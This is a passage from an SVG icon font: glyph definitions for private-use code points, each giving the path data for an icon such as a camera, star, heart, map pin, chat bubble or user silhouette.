<glyph unicode="&#xe3f4;" d="M 388.685,281.744c-69.53,46.234-147.594,62.205-240.173,35.683c-72.262-20.72-138.499-102.906-143.629-173.286
		c-6.070-83.216, 58.755-154.47, 172.883-154.358c 123.066,0.134, 169.12,59.226, 170.15,77.168c 1.008,17.965-48.026,51.162-16.464,85.299
		c 39.536,42.762, 74.726,6.317, 96.051,11.469C 448.829,168.826, 459.626,234.525, 388.685,281.744z M 245.907,73.021c-18.614,0-33.712,15.053-33.712,33.6
		c0,18.57, 15.098,33.6, 33.712,33.6s 33.69-15.030, 33.69-33.6C 279.574,88.074, 264.522,73.021, 245.907,73.021z"  />
<glyph unicode="&#xe3f5;" d="M 274.848,109.152C 211.299,45.626, 115.046,34.829, 40.32,76.672c 8.624-15.366, 19.398-29.837, 32.48-42.918c 76.608-76.608, 200.816-76.608, 277.424,0
		c 76.608,76.63, 76.608,200.838,0,277.446c-13.082,13.082-27.53,23.856-42.918,32.48C 349.171,268.954, 338.352,172.701, 274.848,109.152z"  />
<glyph unicode="&#xe3f6;" d="M 385.795,226.55c-35.459,82.544-92.557,145.398-121.43,133.638c-49.034-19.936, 29.232-115.674-211.59-213.562
	c-20.81-8.445-26.074-42.291-17.36-62.518c 8.691-20.227, 37.139-40.365, 57.949-31.92c 3.584,1.456, 16.822,5.712, 16.822,5.712
	c 14.851-19.936, 30.397-8.109, 35.93-20.787c 6.63-15.232, 21.034-48.317, 25.917-59.562c 4.928-11.245, 16.038-21.683, 24.102-18.614
	c 8.019,3.069, 35.414,13.507, 45.898,17.472s 12.992,13.328, 9.789,20.698c-3.45,7.93-17.606,10.259-21.638,19.533
	c-4.054,9.274-17.248,38.954-21.034,48.317c-5.152,12.723, 5.802,23.072, 21.728,24.73c 109.626,11.424, 130.122-56.291, 167.44-41.104
	C 427.123,60.365, 421.254,144.006, 385.795,226.55z M 373.453,92.666c-6.406-2.598-49.549,31.405-77.123,95.581
	c-27.552,64.154-24.080,122.797-17.696,125.395c 6.406,2.621, 48.496-38.438, 76.070-102.592C 382.234,146.918, 379.859,95.264, 373.453,92.666z"  />
<glyph unicode="&#xe3f7;" d="M 224,204.8c-37.094,0-67.2-30.106-67.2-67.2c0-37.117, 30.106-67.2, 67.2-67.2c 37.117,0, 67.2,30.083, 67.2,67.2C 291.2,174.694, 261.117,204.8, 224,204.8z M 403.2,272l-53.738,0 
		c-7.392,0-15.366,5.734-17.696,12.746l-13.888,41.686C 315.504,333.466, 307.552,339.2, 300.16,339.2L 147.84,339.2 C 140.448,339.2, 132.474,333.466, 130.166,326.454L 116.234,284.746
		C 113.904,277.734, 105.952,272, 98.56,272L 44.8,272 C 20.16,272,0,251.84,0,227.2l0-201.6 c0-24.64, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.662,0, 44.8,20.16, 44.8,44.8L 448,227.2 C 448,251.84, 427.862,272, 403.2,272z M 224,25.6
		c-61.869,0-112,50.131-112,112c0,61.846, 50.131,112, 112,112c 61.846,0, 112-50.154, 112-112C 336,75.731, 285.846,25.6, 224,25.6z M 387.52,195.885
		c-8.646,0-15.658,7.011-15.658,15.68s 7.011,15.68, 15.658,15.68c 8.669,0, 15.68-7.011, 15.68-15.68S 396.189,195.885, 387.52,195.885z"  />
<glyph unicode="&#xe3f8;" d="M 432.118,374.906c-2.419,7.056-10.058,10.774-17.046,8.333s-10.662-10.17-8.221-17.248c 20.608-59.808-20.294-104.474-51.453-128.374
		l-12.611,18.234c-4.211,6.093-13.709,11.178-21.056,11.29l-70.672-0.336c-7.347,0.112-18.278-3.293-24.326-7.549l-208.23-147.571
		c-10.080-7.146-12.566-21.213-5.488-31.427l 94.662-136.797c 7.056-10.214, 18.413-8.982, 28.493-1.859l 208.23,147.594
		c 6.048,4.256, 12.925,13.53, 15.366,20.563l 22.131,70.47c 2.397,7.034, 0.941,17.786-3.27,23.878l-7.706,11.11
		C 412.787,247.584, 456.243,304.861, 432.118,374.906z M 335.238,165.331c-16.15-11.446-38.394-7.459-49.706,8.87
		c-11.29,16.33-7.37,38.842, 8.781,50.288c 12.813,9.094, 29.456,8.422, 41.44-0.403c-6.048-3.674-10.17-5.779-10.954-6.16
		c-6.675-3.181-9.542-11.245-6.384-18.010c 2.285-4.906, 7.078-7.795, 12.118-7.795c 1.904,0, 3.853,0.426, 5.69,1.299
		c 4.278,2.038, 8.915,4.525, 13.731,7.414C 352.106,187.552, 346.864,173.574, 335.238,165.331z"  />
<glyph unicode="&#xe3f9;" d="M 250.454,62.47c0,32.502, 24.64,50.467, 64.826,77.078C 364.448,172.141, 425.6,212.685, 425.6,308.87c0,8.669-7.078,15.68-15.837,15.68l-76.854,0 
		C 322.045,344.621, 289.722,366.080, 224,366.080c-65.699,0-98.045-21.459-108.886-41.53L 38.259,324.55 C 29.501,324.55, 22.4,317.539, 22.4,308.87
		c0-96.186, 61.174-136.73, 110.342-169.299c 40.208-26.611, 64.848-44.576, 64.848-77.078l0-29.366 c-42.224-4.704-73.248-20.317-73.248-38.886
		c0-22.266, 44.621-40.32, 99.658-40.32c 55.059,0, 99.68,18.054, 99.68,40.32c0,18.57-31.024,34.182-73.248,38.886L 250.432,62.47 z M 312.637,175.68
		c 12.723,26.88, 22.781,63.325, 24.394,117.51l 56.202,0 C 387.878,232.733, 351.523,202.179, 312.637,175.68z M 224,338.618c 61.197,0.022, 85.12-24.998, 85.098-34.272
		c0-9.341-23.856-34.339-85.098-34.384C 162.803,270.029, 138.925,295.005, 138.925,304.346C 138.902,313.619, 162.803,338.662, 224,338.618z M 54.79,293.19l 56.179,0 
		C 112.605,239.005, 122.662,202.56, 135.363,175.68C 96.477,202.179, 60.144,232.733, 54.79,293.19z"  />
<glyph unicode="&#xe3fa;" d="M 70.202,229.664C 91.123,245.904, 108.461,234.726, 131.6,207.936C 134.221,204.934, 137.715,208.451, 139.686,210.176c 1.971,1.747, 32.525,29.21, 34.003,30.486
	C 175.19,241.984, 176.982,244.448, 174.608,247.203s-11.066,14-16.643,21.28c-40.499,52.976, 110.79,88.906, 87.539,89.466
	c-11.805,0.314-59.27,0.851-66.349,0.112C 150.416,355.014, 114.33,328.157, 96.163,315.658c-23.744-16.33-32.637-25.805-34.093-27.126
	c-6.72-5.891-1.075-19.421-13.261-30.106C 35.93,247.136, 27.91,255.67, 20.451,249.13c-3.718-3.27-14.045-10.998-17.024-13.619
	C 0.47,232.912-0.067,228.499, 2.957,224.96c0,0, 28.291-31.27, 30.688-34.026C 36.019,188.179, 42.403,185.85, 46.368,189.344
	c 3.965,3.472, 14.134,12.41, 15.859,13.933C 63.974,204.778, 61.107,222.608, 70.202,229.664z M 198.083,218.106c-2.688,3.114-6.003,3.181-8.893,0.627
	L 157.046,190.71c-2.509-2.24-2.845-6.362-0.582-8.96l 185.786-211.411c 4.323-5.018, 11.85-5.533, 16.845-1.187l 21.75,18.189
	c 4.95,4.346, 5.466,11.962, 1.142,16.957L 198.083,218.106z M 445.805,308.086c-1.658,11.066-7.392,8.736-10.371,4.032
	c-2.934-4.682-16.15-24.662-21.571-33.69c-5.376-9.005-18.592-26.678-43.322-9.229c-25.715,18.189-16.755,30.89-12.298,39.424
	c 4.502,8.579, 18.323,32.592, 20.339,35.616c 1.971,3.024-0.358,11.805-8.31,8.131c-7.997-3.696-56.515-22.982-63.258-50.624
	c-6.877-28.157, 5.779-53.29-19.040-78.266l-30.061-31.36l 30.195-35.123l 37.050,35.19c 8.848,8.87, 27.686,17.494, 44.755,13.619
	c 36.579-8.288, 56.515,5.466, 68.566,28.157C 449.277,254.282, 447.485,297.021, 445.805,308.086z M 61.376,2.058c-4.659-4.704-4.659-12.32,0-17.002
	l 21.302-20.832c 4.659-4.682, 12.051-2.71, 16.71,1.971l 109.917,108.080L 175.616,112.646L 61.376,2.058z"  />
<glyph unicode="&#xe3fb;" d="M 375.984,160c0,23.475, 14.448,42, 36.176,54.723c-3.942,13.082-9.094,25.648-15.478,37.453c-24.416-6.384-44.15,3.181-60.726,19.757
		c-16.621,16.598-21.706,36.355-15.322,60.726c-11.805,6.384-24.326,11.603-37.453,15.501C 270.458,326.41, 247.453,311.962, 224,311.962
		c-23.453,0-46.435,14.448-59.181,36.198C 151.693,344.262, 139.171,339.043, 127.366,332.682C 133.728,308.288, 128.666,288.531, 112.067,271.933
		C 95.469,255.357, 75.712,245.792, 51.341,252.154C 44.957,240.371, 39.76,227.805, 35.84,214.723C 57.59,202, 72.038,183.475, 72.038,160
		c0-23.453-14.448-46.458-36.198-59.203c 3.92-13.104, 9.117-25.648, 15.501-37.453c 24.394,6.384, 44.128,1.299, 60.726-15.299
		c 16.598-16.598, 21.661-36.333, 15.299-60.726c 11.805-6.384, 24.349-11.603, 37.453-15.501c 12.746,21.773, 35.728,36.198, 59.181,36.198
		c 23.453,0, 46.48-14.448, 59.203-36.198c 13.126,3.92, 25.648,9.117, 37.453,15.501c-6.384,24.394-1.322,44.128, 15.322,60.726
		c 16.576,16.576, 36.31,26.141, 60.726,19.779c 6.384,11.805, 11.558,24.349, 15.478,37.453C 390.432,118.022, 375.984,136.547, 375.984,160z M 224,78.173
		c-45.181,0-81.805,36.646-81.805,81.827S 178.819,241.827, 224,241.827c 45.203,0, 81.827-36.646, 81.827-81.827S 269.203,78.173, 224,78.173z"  />
<glyph unicode="&#xe3fc;" d="M 414.086,279.168C 158.547,176.867, 262.058,452.208, 63.862,307.258L 22.4,292.384L 104.518-30.4l 45.226,0 L 109.536,127.699
		c 176.826,148.243, 105.235-161.526, 314.406,142.397C 428.803,277.152, 422.307,282.461, 414.086,279.168z"  />
<glyph unicode="&#xe3fd;" d="M 176.042,54.854l-18.144-18.010c-15.725-15.568-41.283-15.59-56.986,0c-7.549,7.504-11.693,17.427-11.693,28.022
		s 4.166,20.541, 11.693,28.045l 66.752,66.237c 13.821,13.731, 39.85,33.914, 58.822,15.098c 8.714-8.646, 22.781-8.579, 31.405,0.112
		c 8.646,8.691, 8.602,22.758-0.112,31.405c-32.234,31.987-79.901,26.074-121.408-15.098l-66.752-66.237C 53.626,108.525, 44.8,87.379, 44.8,64.867
		c0-22.49, 8.826-43.635, 24.842-59.539C 86.128-11.046, 107.766-19.2, 129.405-19.2s 43.322,8.154, 59.808,24.528l 18.144,18.032
		c 8.714,8.646, 8.758,22.714, 0.112,31.382C 198.822,63.434, 184.755,63.478, 176.042,54.854z M 378.358,312.118
		c-34.63,34.362-83.037,36.221-115.114,4.413l-22.602-22.422c-8.714-8.646-8.781-22.691-0.134-31.405c 8.669-8.714, 22.714-8.758, 31.405-0.112
		l 22.602,22.422c 16.598,16.486, 38.349,9.654, 52.55-4.413c 7.549-7.482, 11.693-17.45, 11.693-28.022c0-10.595-4.166-20.541-11.693-28.022
		l-71.232-70.65c-32.547-32.301-47.846-17.158-54.365-10.685c-8.714,8.646-22.758,8.579-31.382-0.112c-8.646-8.714-8.602-22.781, 0.112-31.405
		c 14.941-14.829, 32.032-22.176, 49.907-22.176c 21.907,0, 45.046,11.021, 67.043,32.861l 71.21,70.65C 394.374,208.922, 403.2,230.067, 403.2,252.557
		S 394.374,296.214, 378.358,312.118z"  />
<glyph unicode="&#xe3fe;" d="M 328.16,193.309c-51.072,109.917-77.616,151.67-161.078,149.923c-29.725-0.605-22.579,21.526-45.248,13.126
		C 99.187,347.981, 118.63,335.683, 95.446,316.666c-65.005-53.357-59.024-102.726-28.874-220.416c 12.723-49.549-30.621-51.99-13.485-100.038
		c 12.522-35.011, 104.81-49.706, 202.182-13.552c 97.373,36.109, 158.816,107.811, 146.294,142.867C 384.429,173.552, 349.686,147.030, 328.16,193.309z M 244.698,12.25
		c-86.934-32.256-158.413-13.283-161.437-4.861c-5.197,14.538, 28.067,63.078, 127.478,99.971c 99.411,36.893, 154.896,23.206, 160.698,6.966
		C 374.864,104.739, 331.677,44.528, 244.698,12.25z M 216.765,90.515c-45.472-16.867-77.056-36.154-97.507-53.536
		c 14.403-13.082, 41.35-16.262, 68.23-6.294c 34.205,12.701, 55.216,41.843, 46.906,65.072c-0.090,0.291-0.246,0.538-0.358,0.806
		C 228.435,94.749, 222.678,92.733, 216.765,90.515z"  />
<glyph unicode="&#xe3ff;" d="M 33.6,227.155l 380.8,0 c 12.768,0, 10.685,13.619, 4.323,15.837C 412.362,245.21, 341.6,271.955, 329.28,271.955l-20.16,0 l0,67.2 L 138.88,339.155 l0-67.2 L 118.72,271.955 
		c-12.32,0-83.082-26.746-89.443-28.963C 22.915,240.774, 20.81,227.155, 33.6,227.155z M 418.88,202.515L 29.12,202.515 c-12.32,0-24.64-14.56-24.64-26.88l0-78.4 
		c0-12.32, 12.32-26.88, 24.64-26.88l 44.397,0 l-19.757-112l 340.48,0 l-19.757,112L 418.88,70.355 c 12.32,0, 24.64,14.56, 24.64,26.88l0,78.4 C 443.52,187.955, 431.2,202.515, 418.88,202.515z
		 M 98.56,3.155l 31.36,145.6l 188.16,0 l 31.338-145.6L 98.56,3.155 z"  />
<glyph unicode="&#xe400;" d="M 383.376,319.398c-37.542,37.52-84.65,51.251-99.658,36.243L 223.328,295.229C 214.166,286.067, 206.17,255.402, 209.843,224.378l-182.806-182.829
		c-10.842-10.819-2.061-37.184, 19.622-58.867c 21.683-21.706, 48.070-30.464, 58.89-19.645l 182.806,182.806c 31.046-3.674, 61.712,4.323, 70.851,13.485
		l 60.413,60.413C 434.627,234.749, 420.896,281.856, 383.376,319.398z M 182.358,136.704C 174.003,145.037, 176.736,161.277, 188.384,172.947s 27.888,14.381, 36.243,6.048
		c 8.31-8.333, 5.622-24.573-6.048-36.243C 206.909,131.082, 190.691,128.371, 182.358,136.704z M 333.558,269.558c-29.075,29.075-36.378,67.424-33.802,70.022
		c 2.598,2.598, 39.446-6.227, 68.544-35.302c 29.075-29.075, 37.789-66.013, 35.28-68.522S 362.611,240.483, 333.558,269.558z"  />
<glyph unicode="&#xe401;" d="M 393.008,37.517l-84.65,84.65c 12.768,20.989, 20.115,45.584, 20.115,71.949c0,76.518-66.326,142.845-142.867,142.845
		C 109.088,336.96, 47.040,274.912, 47.040,198.394c0-76.541, 66.304-142.867, 142.845-142.867c 25.446,0, 49.28,6.899, 69.776,18.883l 85.098-85.12
		c 8.355-8.333, 21.84-8.333, 30.15,0l 21.123,21.101C 404.342,18.723, 401.318,29.206, 393.008,37.517z M 89.69,198.394
		c0,52.976, 42.941,95.939, 95.917,95.939c 52.998,0, 100.218-47.219, 100.218-100.218s-42.941-95.939-95.939-95.939S 89.69,145.395, 89.69,198.394z"  />
<glyph unicode="&#xe402;" d="M 358.4,339.2L 178.752,339.2 C 154.112,339.2, 134.4,319.488, 134.4,294.848L 134.4,115.2 c0-24.64, 20.16-44.8, 44.8-44.8l 179.2,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 403.2,294.4 C 403.2,319.040, 383.040,339.2, 358.4,339.2z M 358.4,115.2L 179.2,115.2 L 179.2,294.4 l 179.2,0 L 358.4,115.2 z M 89.6,160L 44.8,160 l0-134.4 
		c0-24.64, 20.16-44.8, 44.8-44.8l 134.4,0 l0,44.8 L 89.6,25.6 L 89.6,160 z"  />
<glyph unicode="&#xe403;" d="M 420.448,153.28l-179.738,179.894c-9.184,9.542-24.214,9.542-33.398,0L 27.552,153.28c-9.206-9.52-5.779-17.338, 7.616-17.338l 37.475,0 l0-138.163 
		c0-9.968, 0.426-18.122, 18.458-18.122l 87.248,0 l0,138.611 l 91.28,0 l0-138.611 l 91.594,0 c 13.754,0, 14.134,8.131, 14.134,18.122l0,138.163 l 37.453,0 
		C 426.182,135.942, 429.632,143.738, 420.448,153.28z"  />
<glyph unicode="&#xe404;" d="M 110.118,298.813c-36.064,0-65.318-30.083-65.318-67.2s 29.254-67.2, 65.318-67.2c 65.296,0, 21.773-129.92-65.318-129.92l0-31.338 
		C 200.211,3.155, 261.117,298.813, 110.118,298.813z M 298.256,298.813c-36.064,0-65.318-30.083-65.318-67.2s 29.254-67.2, 65.318-67.2c 65.296,0, 21.773-129.92-65.318-129.92
		l0-31.338 C 388.371,3.155, 449.277,298.813, 298.256,298.813z"  />
<glyph unicode="&#xe405;" d="M 358.4,316.8L 89.6,316.8 C 64.96,316.8, 44.8,296.64, 44.8,272l0-156.8 c0-24.64, 20.16-44.8, 44.8-44.8l 89.6,0 l 89.6-67.2l0,67.2 l 89.6,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 403.2,272 C 403.2,296.64, 383.040,316.8, 358.4,316.8z"  />
<glyph unicode="&#xe406;" d="M 129.92,110.72L 129.92,249.6 L 44.8,249.6 C 20.16,249.6,0,229.44,0,204.8l0-134.4 c0-24.64, 20.16-44.8, 44.8-44.8l 22.4,0 l0-67.2 l 67.2,67.2l 112,0 c 24.64,0, 44.8,20.16, 44.8,44.8l0,40.768 c-1.434-0.314-2.957-0.47-4.48-0.47L 129.92,110.698 
		z M 403.2,361.6L 201.6,361.6 C 176.96,361.6, 156.8,341.44, 156.8,316.8l0-179.2 l 156.8,0 l 67.2-67.2l0,67.2 l 22.4,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 448,316.8 C 448,341.44, 427.84,361.6, 403.2,361.6z"  />
<glyph unicode="&#xe407;" d="M 142.307,100.909c 2.934-7.952-79.296-81.402-31.315-140.918c 11.245-13.933, 49.302,66.64, 103.376,103.13C 244.182,83.235, 313.6,126.086, 313.6,149.741
	l0,153.216 C 313.6,331.45, 203.549,361.6, 119.885,361.6C 89.219,361.6, 44.8,169.52, 44.8,138.989C 44.8,108.368, 139.35,108.906, 142.307,100.909z M 336,103.059c 14.739,0, 67.2,8.938, 67.2,69.933
	L 403.2,281.565 c0,60.973-52.461,67.693-67.2,67.693c-14.717,0, 22.4-12.835, 22.4-50.602l0-142.755 C 358.4,116.298, 321.283,103.059, 336,103.059z"  />
<glyph unicode="&#xe408;" d="M 305.715,219.069c-2.957,7.952, 79.296,81.424, 31.315,140.941c-11.245,13.91-49.302-66.662-103.376-103.13C 203.84,236.765, 134.4,193.936, 134.4,170.259l0-153.238 
	C 134.4-11.45, 244.474-41.6, 328.138-41.6C 358.803-41.6, 403.2,150.48, 403.2,181.011C 403.2,211.632, 308.672,211.094, 305.715,219.069z M 112,216.941c-14.717,0-67.2-8.96-67.2-69.933
	l0-108.595 c0-60.973, 52.483-67.67, 67.2-67.67s-22.4,12.813-22.4,50.602L 89.6,164.099 C 89.6,203.702, 126.717,216.941, 112,216.941z"  />
<glyph unicode="&#xe409;" d="M 421.12,206.547l-143.651,0 L 223.978,357.12L 170.509,206.547L 26.88,206.547 l 117.174-88.435l-41.888-155.232l 121.811,93.050l 121.811-93.050l-41.888,155.232L 421.12,206.547z
	 M 223.978,99.878l-67.469-56.022l 27.821,79.789l-63.862,51.52l 78.87-2.24l 24.618,90.496l 24.64-90.496l 78.87,2.24l-63.862-51.52l 27.843-79.789L 223.978,99.878z
	"  />
<glyph unicode="&#xe40a;" d="M 224,357.12L 277.491,206.547L 421.12,206.547L 303.923,118.112L 345.811-37.12L 224,55.93L 102.189-37.12L 144.077,118.112L 26.88,206.547L 170.509,206.547 	z"  />
<glyph unicode="&#xe40b;" d="M 385.034,291.040c-37.453,34.362-98.179,34.362-135.632,0L 224,267.699L 198.576,291.040c-37.453,34.362-98.157,34.362-135.61,0
	c-42.134-38.685-42.134-101.338,0-140.022L 224,3.2l 161.034,147.818C 427.168,189.68, 427.168,252.355, 385.034,291.040z M 361.2,174L 224,46.006L 86.822,174
	c-13.843,12.678-19.197,29.389-19.197,47.040c0,17.606, 3.091,32.077, 16.934,44.778C 96.768,277.040, 113.187,283.2, 130.749,283.2
	c 17.584,0, 34.003-10.662, 46.211-21.885L 224,220.413L 271.040,261.315C 283.248,272.538, 299.645,283.2, 317.229,283.2s 34.003-6.16, 46.234-17.382
	c 13.821-12.701, 16.89-27.171, 16.934-44.778C 380.397,203.411, 375.021,186.678, 361.2,174z"  />
<glyph unicode="&#xe40c;" d="M 385.034,291.018c-37.453,34.384-98.179,34.384-135.632,0L 224,267.677L 198.576,291.018c-37.453,34.384-98.157,34.384-135.61,0
		c-42.134-38.662-42.134-101.338,0-140.022L 224,3.2l 161.034,147.795C 427.168,189.68, 427.168,252.355, 385.034,291.018z"  />
<glyph unicode="&#xe40d;" d="M 152.32,160c0-39.581, 32.099-71.68, 71.68-71.68s 71.68,32.122, 71.68,71.68c0,39.581-32.099,71.68-71.68,71.68
	S 152.32,199.581, 152.32,160z M 101.45,186.88C 113.747,243.238, 163.946,285.44, 224,285.44c 34.653,0, 65.99-14.045, 88.682-36.736c 10.506-10.506, 27.53-10.506, 38.035,0
	c 10.483,10.506, 10.483,27.53,0,38.013C 318.282,319.13, 273.482,339.2, 224,339.2C 143.763,339.2, 75.846,286.47, 53.021,213.76L0,213.76 L0,160 l 71.68,0 
	C 94.058,160, 99.546,178.211, 101.45,186.88z M 376.32,160c-22.355,0-27.866-18.211-29.77-26.88C 334.253,76.762, 284.077,34.56, 224,34.56
	c-34.63,0-65.99,14.022-88.682,36.736c-10.506,10.506-27.53,10.506-38.013,0s-10.506-27.53,0-38.013C 129.718,0.87, 174.518-19.2, 224-19.2
	c 80.237,0, 148.154,52.73, 170.979,125.44L 448,106.24 L 448,160 L 376.32,160 z"  />
<glyph unicode="&#xe40e;" d="M 336,92.8c-15.411,0-29.523-5.219-40.858-13.933l-116.906,70.134C 178.797,152.586, 179.2,156.259, 179.2,160c0,3.763-0.403,7.414-0.963,10.998
		l 116.906,70.134C 306.477,232.419, 320.589,227.2, 336,227.2c 37.094,0, 67.2,30.083, 67.2,67.2s-30.106,67.2-67.2,67.2s-67.2-30.083-67.2-67.2c0-3.741, 0.403-7.414, 0.986-10.998
		L 152.88,213.245C 141.546,221.981, 127.411,227.2, 112,227.2c-37.117,0-67.2-30.083-67.2-67.2c0-37.094, 30.083-67.2, 67.2-67.2c 15.411,0, 29.546,5.219, 40.88,13.933l 116.906-70.134
		C 269.203,33.014, 268.8,29.363, 268.8,25.6c0-37.094, 30.106-67.2, 67.2-67.2s 67.2,30.106, 67.2,67.2S 373.094,92.8, 336,92.8z"  />
<glyph unicode="&#xe40f;" d="M 224,352.64c-106.378,0-192.64-86.262-192.64-192.64c0-106.4, 86.262-192.64, 192.64-192.64c 106.4,0, 192.64,86.24, 192.64,192.64C 416.64,266.378, 330.4,352.64, 224,352.64z
		 M 239.68,3.984L 239.68,90.56 L 208.32,90.56 l0-86.576 c-74.077,7.347-132.966,66.259-140.336,140.336L 154.56,144.32 L 154.56,175.68 L 67.984,175.68 C 75.354,249.757, 134.243,308.669, 208.32,316.016L 208.32,229.44 l 31.36,0 
		L 239.68,316.016 c 74.099-7.347, 132.989-66.259, 140.336-140.336L 293.44,175.68 l0-31.36 l 86.576,0 C 372.669,70.243, 313.779,11.331, 239.68,3.984z"  />
<glyph unicode="&#xe410;" d="M 441.706,377.728c-15.232,15.254-29.792,0.829-79.184-22.893C 230.362,291.286,0,162.218,0,162.218l 197.904-28.291L 226.195-64
		c0,0, 129.091,230.362, 192.618,362.522C 442.579,347.936, 456.96,362.451, 441.706,377.728z M 394.24,326.79l-143.763-266.941l-14.582,121.318L 394.24,326.79z"  />
<glyph unicode="&#xe411;" d="M 221.133,375.018C 102.368,373.427, 7.392,275.875, 8.982,157.133c 1.59-118.765, 99.142-213.741, 217.907-212.173
		c 118.742,1.613, 213.741,99.142, 212.15,217.907C 437.405,281.632, 339.853,376.608, 221.133,375.018z M 226.262-9.747c-93.744-1.277-170.755,73.718-172.032,167.485
		C 52.998,251.482, 127.971,328.493, 221.738,329.747c 93.744,1.254, 170.755-73.718, 172.010-167.485S 320.029-8.47, 226.262-9.747z M 122.147,59.11
		c0,0, 102.346,14.045, 146.003,57.702c 43.658,43.658, 57.702,146.003, 57.702,146.003S 223.53,248.749, 179.872,205.114C 136.214,161.434, 122.147,59.11, 122.147,59.11z
		 M 201.936,183.027C 220.282,201.395, 255.36,214.41, 285.466,222.496c-8.086-30.038-21.168-65.386-39.402-83.597c-12.186-12.186-31.942-12.186-44.128,0
		C 189.728,151.085, 189.728,170.842, 201.936,183.027z"  />
<glyph unicode="&#xe412;" d="M 440.899,271.462l-104.698,65.565c-4.637,2.912-10.438,2.912-15.075,0L 224,276.189L 126.874,337.005c-4.637,2.912-10.438,2.912-15.075,0
		L 7.101,271.462C 2.71,268.707,0,263.712,0,258.358l0-262.237 c0-5.51, 2.822-10.618, 7.437-13.328s 10.237-2.643, 14.762,0.202l 97.126,60.838l 97.126-60.838
		c 4.637-2.912, 10.438-2.912, 15.098,0l 97.126,60.838l 97.126-60.838C 428.109-18.461, 430.73-19.2, 433.35-19.2c 2.486,0, 4.973,0.672, 7.213,1.994
		C 445.155-14.496, 448-9.389, 448-3.878L 448,258.358 C 448,263.712, 445.29,268.707, 440.899,271.462z M 104.675,70.333L 29.299,23.136L 29.299,249.69 l 75.376,47.197L 104.675,70.333 z
		 M 209.35,23.136l-75.376,47.197L 133.974,296.886 l 75.376-47.197L 209.35,23.136 z M 314.026,70.333l-75.354-47.197L 238.672,249.69 l 75.354,47.197L 314.026,70.333 z M 418.678,23.136
		l-75.354,47.197L 343.325,296.886 l 75.354-47.197L 418.678,23.136 z"  />
<glyph unicode="&#xe413;" d="M 224,339.2C 162.131,339.2, 112,289.046, 112,227.2c0-106.938, 112-246.4, 112-246.4s 112,139.462, 112,246.4C 336,289.046, 285.869,339.2, 224,339.2z M 224,165.376c-33.398,0-60.48,27.082-60.48,60.48
		s 27.082,60.48, 60.48,60.48s 60.48-27.082, 60.48-60.48S 257.398,165.376, 224,165.376z"  />
<glyph unicode="&#xe414;" d="M 336,30.080L 44.8,30.080 l0,201.6 l 58.128,0 c0,0, 15.434,20.070, 48.608,44.8L 22.4,276.48 c-12.365,0-22.4-10.035-22.4-22.4l0-246.4 c0-12.387, 10.035-22.4, 22.4-22.4l 336,0 c 12.387,0, 22.4,10.013, 22.4,22.4l0,83.91 
		l-44.8-36.848L 336,30.080 z M 299.309,185.76l0-79.52 L 448,222.742L 299.309,334.72l0-70.112 C 118.72,264.586, 118.72,86.080, 118.72,86.080C 169.837,170.035, 201.286,185.76, 299.309,185.76z"  />
<glyph unicode="&#xe415;" d="M 403.2,339.2L 44.8,339.2 C 20.16,339.2,0,319.040,0,294.4l0-268.8 c0-24.64, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.662,0, 44.8,20.16, 44.8,44.8L 448,294.4 C 448,319.040, 427.862,339.2, 403.2,339.2z M 403.2,25.6L 44.8,25.6 L 44.8,294.4 l 358.4,0 L 403.2,25.6 z M 201.6,112.96L 89.6,112.96 
		L 89.6,72.64 l 112,0 L 201.6,112.96 z M 201.6,180.16L 89.6,180.16 l0-40.32 l 112,0 L 201.6,180.16 z M 201.6,247.36L 89.6,247.36 l0-40.32 l 112,0 L 201.6,247.36 z M 356.16,104c0,0-38.080,9.946-38.080,29.523c0,18.637, 24.662,26.477, 24.662,64.557
		c0,30.912-9.408,49.28-40.342,49.28s-40.32-18.346-40.32-49.28c0-38.080, 24.64-45.92, 24.64-64.557c0-19.578-38.058-29.523-38.058-29.523C 246.4,104, 246.4,72.64, 246.4,72.64
		l 112,0 C 358.4,72.64, 358.4,104, 356.16,104z"  />
<glyph unicode="&#xe416;" d="M 277.245,60.365C 221.446,80.48, 203.616,97.459, 203.616,133.814c0,21.818, 17.046,14.694, 24.528,54.656c 3.114,16.576, 18.166,0.269, 21.011,38.102
		c0,15.075-8.198,18.838-8.198,18.838s 4.189,22.333, 5.802,39.491C 248.774,306.317, 234.259,361.6, 156.8,361.6S 64.826,306.317, 66.842,284.902
		c 1.635-17.181, 5.824-39.491, 5.824-39.491S 64.445,241.67, 64.445,226.573c 2.89-37.834, 17.942-21.526, 21.011-38.102
		c 7.504-39.962, 24.55-32.838, 24.55-54.656c0-36.355-17.853-53.334-73.651-73.45c-6.72-2.397-22.736-6.16-36.355-12.051L0-41.6 l 358.4,0 
		c0,0,0,33.13,0,47.152S 333.245,40.182, 277.245,60.365z M 380.8,182.4L 380.8,249.6 l-44.8,0 l0-67.2 l-67.2,0 l0-44.8 l 67.2,0 l0-67.2 l 44.8,0 l0,67.2 l 67.2,0 L 448,182.4 L 380.8,182.4 z"  />
<glyph unicode="&#xe417;" d="M 448-37.12c0,0-0.874,84.829-6.070,93.61c-7.728,13.104-25.67,22.086-59.002,36.019c-33.219,13.888-43.859,25.626-43.859,50.691
		c0,15.075, 10.147,10.147, 14.605,37.722c 1.837,11.446, 10.797,0.202, 12.522,26.298c0,10.416-4.883,13.014-4.883,13.014s 2.464,15.411, 3.45,27.261
		c 1.21,14.784-7.459,52.931-53.581,52.931s-54.746-38.17-53.558-52.931c 0.963-11.85, 3.427-27.261, 3.427-27.261s-4.883-2.598-4.883-13.014
		c 1.725-26.118, 10.685-14.874, 12.544-26.298c 4.435-27.574, 14.582-22.646, 14.582-37.722c0-17.046-4.928-27.933-18.525-37.498
		c 72.576-36.333, 82.32-43.747, 82.32-76.227L 347.088-37.12 L 448-37.12 z M 229.018,79.92c-44.33,18.502-58.464,34.138-58.464,67.581c0,20.070, 13.53,13.53, 19.466,50.31
		c 2.442,15.254, 14.426,0.246, 16.688,35.056c0,13.888-6.518,17.338-6.518,17.338s 3.315,20.541, 4.614,36.355C 206.416,306.227, 194.858,357.12, 133.37,357.12
		c-61.488,0-73.024-50.87-71.411-70.56c 1.299-15.814, 4.592-36.355, 4.592-36.355S 60.054,246.755, 60.054,232.867
		c 2.307-34.832, 14.246-19.824, 16.71-35.056c 5.936-36.781, 19.466-30.218, 19.466-50.31c0-33.443-14.179-49.078-58.464-67.581
